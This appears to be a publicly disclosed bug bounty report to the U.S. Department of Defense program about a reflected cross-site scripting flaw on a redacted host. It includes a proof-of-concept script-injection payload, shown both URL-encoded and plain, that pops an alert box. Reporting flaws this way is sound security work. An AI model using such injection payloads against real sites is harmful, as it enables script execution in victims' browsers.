HexBrain

U.S. Dept Of Defense · Report #1260823

Reflected XSS - https://███

Validstatus
mediumseverity
2upvotes
29 Jul 2021disclosed

How it was found

Greetings, I just found an XSS vulnerability on a page of one of your websites

URL : https://████=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

https://███="><script>alert(1)</script>

By the way, could you look at my "duplicated" report when it is not? I don't mean any disrespect, but this is not the same page. thank you - https://hackerone.com/reports/1260789

Best regards, fiveguyslover

Impact

A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content.

System Host(s)

████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

URL : https://█████=%22%3E%3Cscript%3Ealert(1)%3C/script%3E the alert will be displayed

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original